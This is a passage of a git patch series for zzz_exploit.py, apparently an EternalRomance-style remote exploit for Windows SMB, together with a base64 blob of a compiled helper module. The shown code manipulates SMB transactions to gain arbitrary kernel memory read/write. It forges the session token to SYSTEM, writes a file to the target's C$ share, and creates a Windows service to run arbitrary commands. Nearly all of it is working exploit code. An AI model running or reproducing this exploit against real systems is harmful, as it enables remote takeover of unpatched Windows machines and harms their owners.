 	#    +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
@@ -622,7 +622,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
 	# ================================
 	shift_indata_byte = 0x200
 	conn.do_write_andx_raw_pipe(info['fid'], 'A'*shift_indata_byte)
-
+	
 	# ================================
 	# Dangerous operation: attempt to control one transaction
 	# ================================
@@ -650,7 +650,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
 			break
 		if recvPkt.getNTStatus() != 0:
 			print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
-
+	
 	if not success:
 		print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
 		print('!!! Write to wrong place !!!')
@@ -661,8 +661,8 @@ def exploit_fish_barrel(conn, pipe_name, info):
 	# NSA eternalromance modify transaction RefCount to keep controlled and reuse transaction after leaking info.
 	# This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder
 	#   because of this unfreed memory chunk. I will avoid it.
-
-	# From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two
+	
+	# From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two 
 	# transactions (do not know the address).
 	# After reading memory by modifying and completing trans2, trans2 cannot be used anymore.
 	# To be able to use trans1 after trans2 is gone, we need to modify trans1 to be able to modify itself.
@@ -671,14 +671,14 @@ def exploit_fish_barrel(conn, pipe_name, info):
 	# On 64 bit target, modifying paramter count is not enough because address size is 64 bit. Because our transactions
 	#   are allocated with RtlAllocateHeap(), the HIDWORD of InParameter is always 0. To be able to write backward with offset only,
 	#   we also modify HIDWORD of InParameter to 0xffffffff.
-
+	
 	print('modify parameter count to 0xffffffff to be able to write backward')
 	conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
 	# on 64 bit, modify InParameter last 4 bytes to \xff\xff\xff\xff too
 	if info['arch'] == 'x64':
 		conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
 	wait_for_request_processed(conn)
-
+	
 	TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 0x1000 + HEAP_CHUNK_PAD_SIZE
 	PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN
 	PREV_TRANS_OFFSET = 0x100000000 - PREV_TRANS_DISPLACEMENT
@@ -718,18 +718,18 @@ def exploit_fish_barrel(conn, pipe_name, info):
 	_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+fmt*5, leakTrans, 8)
 	inparam_value, outparam_value, indata_value = unpack_from('<'+fmt*3, leakTrans, info['TRANS_INPARAM_OFFSET'])
 	trans2_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
-
+	
 	print('CONNECTION: 0x{:x}'.format(connection_addr))
 	print('SESSION: 0x{:x}'.format(session_addr))
 	print('FLINK: 0x{:x}'.format(flink_value))
 	print('InData: 0x{:x}'.format(indata_value))
 	print('MID: 0x{:x}'.format(trans2_mid))
-
+	
 	trans2_addr = inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN
 	trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
 	print('TRANS1: 0x{:x}'.format(trans1_addr))
 	print('TRANS2: 0x{:x}'.format(trans2_addr))
-
+	
 	# ================================
 	# modify trans struct to be used for arbitrary read/write
 	# ================================
@@ -741,12 +741,12 @@ def exploit_fish_barrel(conn, pipe_name, info):
 	TRANS_OFFSET = 0x100000000 - (info['TRANS_SIZE'] + TRANS_NAME_LEN)
 	conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<'+fmt*3, trans1_addr, trans1_addr+0x200, trans2_addr), paramDisplacement=TRANS_OFFSET+info['TRANS_INPARAM_OFFSET'])
 	wait_for_request_processed(conn)
-
+	
 	# modify trans1.mid
 	trans1_mid = conn.next_mid()
 	conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET'])
 	wait_for_request_processed(conn)
-
+	
 	info.update({
 		'connection': connection_addr,
 		'session': session_addr,
@@ -768,26 +768,26 @@ def create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroup
 	# - 0xe: SE_GROUP_OWNER | SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT
 	# - 0x7: SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY
 	attrs = [ 0, 0xe, 7, 7 ]
-
+	
 	# assume its space is enough for SID_SYSTEM and SID_ADMINISTRATORS (no check)
 	# fake user and groups will be in same buffer of original one
 	# so fake sids size must NOT be bigger than the original sids
 	fakeUserAndGroupCount = min(userAndGroupCount, 4)
 	fakeUserAndGroupsAddr = userAndGroupsAddr
-
+	
 	addr = fakeUserAndGroupsAddr + (fakeUserAndGroupCount * info['PTR_SIZE'] * 2)
 	fakeUserAndGroups = ''
 	for sid, attr in zip(sids[:fakeUserAndGroupCount], attrs[:fakeUserAndGroupCount]):
 		fakeUserAndGroups += pack('<'+info['PTR_FMT']*2, addr, attr)
 		addr += len(sid)
 	fakeUserAndGroups += ''.join(sids[:fakeUserAndGroupCount])
-
+	
 	return fakeUserAndGroupCount, fakeUserAndGroups
 
 
 def exploit(target, pipe_name):
 	conn = MYSMB(target)
-
+	
 	# set NODELAY to make exploit much faster
 	conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
 
@@ -823,7 +823,7 @@ def exploit(target, pipe_name):
 	else:
 		print('This exploit does not support this target')
 		sys.exit()
-
+	
 	if pipe_name is None:
 		pipe_name = find_named_pipe(conn)
 		if pipe_name is None:
@@ -837,9 +837,9 @@ def exploit(target, pipe_name):
 	# Now, read_data() and write_data() can be used for arbitrary read and write.
 	# ================================
 	# Modify this SMB session to be SYSTEM
-	# ================================
+	# ================================	
 	fmt = info['PTR_FMT']
-
+	
 	print('make this SMB session to be SYSTEM')
 	# IsNullSession = 0, IsAdmin = 1
 	write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')
@@ -852,7 +852,7 @@ def exploit(target, pipe_name):
 		# Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
 		# Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
 		# much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.
-
+		
 		# find the token and modify it
 		if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
 			pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
@@ -863,13 +863,12 @@ def exploit(target, pipe_name):
 		tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
 		tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0]
 		print('current TOKEN addr: 0x{:x}'.format(tokenAddr))
-
+		
 		# copy Token data for restoration
 		tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
-
+		
 		userAndGroupCount = unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET'])[0]
 		userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0]
-
 		# hack to fix XP SP0 and SP1
 		if info['os'] == 'WINXP' and info['arch'] == 'x86':
 			if userAndGroupCount > 4:
@@ -897,7 +896,7 @@ def exploit(target, pipe_name):
 
 	# ================================
 	# do whatever we want as SYSTEM over this SMB connection
-	# ================================
+	# ================================	
 	try:
 		smb_pwn(conn, info['arch'])
 	except:
@@ -920,13 +919,13 @@ def exploit(target, pipe_name):
 
 def smb_pwn(conn, arch):
 	smbConn = conn.get_smbconnection()
-
+	
 	print('creating file c:\\pwned.txt on the target')
 	tid2 = smbConn.connectTree('C$')
 	fid2 = smbConn.createFile(tid2, '/pwned.txt')
 	smbConn.closeFile(tid2, fid2)
 	smbConn.disconnectTree(tid2)
-
+	
 	#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
 	#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
 	# Note: there are many methods to get shell over SMB admin session
@@ -943,7 +942,7 @@ def service_exec(conn, cmd):
 	import random
 	import string
 	from impacket.dcerpc.v5 import transport, srvs, scmr
-
+	
 	service_name = ''.join([random.choice(string.letters) for i in range(4)])
 
 	# Setup up a DCE SMBTransport with the connection already in place
@@ -955,7 +954,7 @@ def service_exec(conn, cmd):
 		print("Opening SVCManager on %s....." % conn.get_remote_host())
 		resp = scmr.hROpenSCManagerW(rpcsvc)
 		svcHandle = resp['lpScHandle']
-
+		
 		# First we try to open the service in case it exists. If it does, we remove it.
 		try:
 			resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
@@ -966,11 +965,11 @@ def service_exec(conn, cmd):
 			# It exists, remove it
 			scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
 			scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
-
+		
 		print('Creating service %s.....' % service_name)
 		resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
 		serviceHandle = resp['lpServiceHandle']
-
+		
 		if serviceHandle:
 			# Start service
 			try:
@@ -982,7 +981,7 @@ def service_exec(conn, cmd):
 				#scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
 			except Exception as e:
 				print(str(e))
-
+			
 			print('Removing service %s.....' % service_name)
 			scmr.hRDeleteService(rpcsvc, serviceHandle)
 			scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)

From c915c66d79fb372f2f115c4744d049adbfcba1aa Mon Sep 17 00:00:00 2001
From: zerosum0x0 <zerosum0x0@gmail.com>
Date: Mon, 29 Jan 2018 18:54:30 -0700
Subject: [PATCH 4/9] more complex fix

---
 mysmb.pyc      | Bin 0 -> 16693 bytes
 zzz_exploit.py |  14 +++++++++-----
 2 files changed, 9 insertions(+), 5 deletions(-)
 create mode 100644 mysmb.pyc

diff --git a/mysmb.pyc b/mysmb.pyc
new file mode 100644
index 0000000000000000000000000000000000000000..c72fbe7fd06d08f3ed4276e128df596f68984605
GIT binary patch
literal 16693
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
L0!J5ziv#})ezMr2

literal 0
HcmV?d00001

diff --git a/zzz_exploit.py b/zzz_exploit.py
index e9f5996..41f81b8 100644
--- a/zzz_exploit.py
+++ b/zzz_exploit.py
@@ -867,15 +867,19 @@ def exploit(target, pipe_name):
 		# copy Token data for restoration
 		tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
 		
-		userAndGroupCount = unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET'])[0]
+
+		userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET']
+		userAndGroupCount = unpack_from('<I', tokenData, userAndGroupCountOffset)[0]
 		userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0]
 		# hack to fix XP SP0 and SP1
 		if info['os'] == 'WINXP' and info['arch'] == 'x86':
-			if userAndGroupCount > 4:
+			if userAndGroupCount > 4 or userAndGroupCount == 0: # check NULL too
 				print("Bad TOKEN offsets detected, performing workaround")
-				userAndGroupCount = unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1'])[0]
+				userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
+				userAndGroupCount = unpack_from('<I', tokenData, userAndGroupCountOffset)[0]
 				userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1'])[0]
 
+
 		print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
 		print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))
 
@@ -883,7 +887,7 @@ def exploit(target, pipe_name):
 		# modify UserAndGroups info
 		fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
 		if fakeUserAndGroupCount != userAndGroupCount:
-			write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', fakeUserAndGroupCount))
+			write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', fakeUserAndGroupCount))
 		write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
 	else:
 		# the target can use PsImperonateClient for impersonation (Windows 2008 and later)
@@ -907,7 +911,7 @@ def exploit(target, pipe_name):
 		userAndGroupsOffset = userAndGroupsAddr - tokenAddr
 		write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)])
 		if fakeUserAndGroupCount != userAndGroupCount:
-			write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', userAndGroupCount))
+			write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', userAndGroupCount))
 	else:
 		write_data(conn, info, secCtxAddr, secCtxData)
 

From 67b258e3b4a2d26ec62ec87b917b963bf33594fa Mon Sep 17 00:00:00 2001
From: zerosum0x0 <zerosum0x0@gmail.com>
Date: Mon, 29 Jan 2018 18:55:22 -0700
Subject: [PATCH 5/9] remove pyc again... needs a gitignore maybe

---
 mysmb.pyc | Bin 16693 -> 0 bytes
 1 file changed, 0 insertions(+), 0 deletions(-)
 delete mode 100644 mysmb.pyc

diff --git a/mysmb.pyc b/mysmb.pyc
deleted file mode 100644
index c72fbe7fd06d08f3ed4276e128df596f68984605..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 16693
zcmeHO+iz9bd0+dSW8>p1g8}1#0mBS4XP68aPbV}}n2a%IAb|r}#}k4(>CWNoZTpyW
z@tnO60|`W_jMPMmS}6~CXr*4#i;}cyqfUBLTdAp<hxVbW)PEvU`%tNU>P!3kec!&>
z7%+$FB&veh%WHjW?REL?-?z5&|2Z;f{;9oKGts{Se!qn$7;ud7@ZT{FW15axbWAg6
z7IVfSG-n!l(=3?9g0}Of(Px_dX0cz}1=HAJ7I(-Ds1KOM0ps<V`^GF5jX!97$E*$+
zuiyAZv!2I0I|MXrmK@^^aNN2v*B3{Ohv68j9fL{7sPTp}9m7e-nDKWSZ^Yckj-N69
zu6U(UvyR=58*j{1cN=e~Y-Nw}o{`F4<LSr=*}!-*-9F<LOr^9N7^(jc{*`j5g?S>V
zc_SRr-?etD<=4V`yHx_xOju;mskVZ(b|+L&0id;N?Pj^g5qvnu9G+kb#a%)4B+&XM
zt9dhtW#2r@dY_p*TPgKpP+2CP?{wOoxwhxmcLF9Lx8nzX=a%o)2M8KOp`#krASj__
